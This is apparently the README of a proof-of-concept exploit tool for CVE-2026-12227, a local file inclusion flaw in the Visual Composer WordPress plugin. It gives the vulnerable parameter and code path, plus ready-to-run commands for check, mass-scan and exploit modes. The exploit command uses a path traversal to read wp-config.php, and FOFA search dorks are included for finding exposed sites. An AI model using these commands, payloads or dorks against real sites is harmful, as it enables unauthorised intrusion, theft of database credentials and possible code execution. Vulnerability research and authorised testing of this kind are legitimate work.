CVE-2026-12227 — Inclusion de fichier local non authentifiée dans Visual Composer Website Builder

PoC Python 3 pour CVE-2026-12227 (Wordfence) : Inclusion de fichier local via le paramètre de requête vcv-template dans Visual Composer Website Builder (visualcomposer sur wordpress.org).

Résumé

Sur les versions vulnérables, les chargements de pages publiques honorent le paramètre vcv-template contrôlé par l'attaquant (avec vcv-template-type) lors du traitement de template_include de WordPress au sein de PageTemplatesController. Cela peut inclure des fichiers choisis par l'attaquant sur le disque ; les fichiers PHP peuvent s'exécuter (RCE). Wordfence note des chaînes avec des extensions « sûres » téléversées dans certaines configurations.

Surface d'attaque

• Nécessite l'extension installée et une page front-end construite avec VC (permalien normal).
• La sonde ajoute des paramètres de requête, par ex. ?vcv-template-type=vc&vcv-template=blank ou des chemins LFI sous vcv-template.
• Paramètres associés : vcv-template-type, vcv-template-stretched.

Prérequis

pip install -r requirements.txt

Python 3.8+.

Utilisation

# Version + plugin + VC page crawl + template/LFI probes
python poc.py -u https://target.example --mode check

# Known VC landing page
python poc.py -u https://target.example --mode check --page-url /

# Mass scan
python poc.py --list targets.example.txt --mode check --threads 25 --quiet

# Custom include path (authorized testing only)
python poc.py -u https://target.example --mode exploit --page-url / --file ../../../../../../wp-config.php

# JSON for scripting
python poc.py -u https://target.example --mode check --json

Sortie

Valeurs de statut

Indices FOFA

body="/wp-content/plugins/visualcomposer/"
body="data-vcv-" && body="wp-content"

Notes techniques

• Chemin du code : visualcomposer/Modules/Editors/Settings/PageTemplatesController.php (getCurrentTemplateLayout, viewPageTemplate).
• Check traite le contrôle du paramètre ou les marqueurs LFI comme exploitable_candidate ; confirmez sur un clone de préproduction avant de supposer une RCE.
• Les modules premium TemplateFilter / theme-builder peuvent élargir les chemins accessibles sur certains sites.

Légal

À utiliser uniquement sur des systèmes que vous possédez ou pour lesquels vous disposez d'une autorisation explicite de test.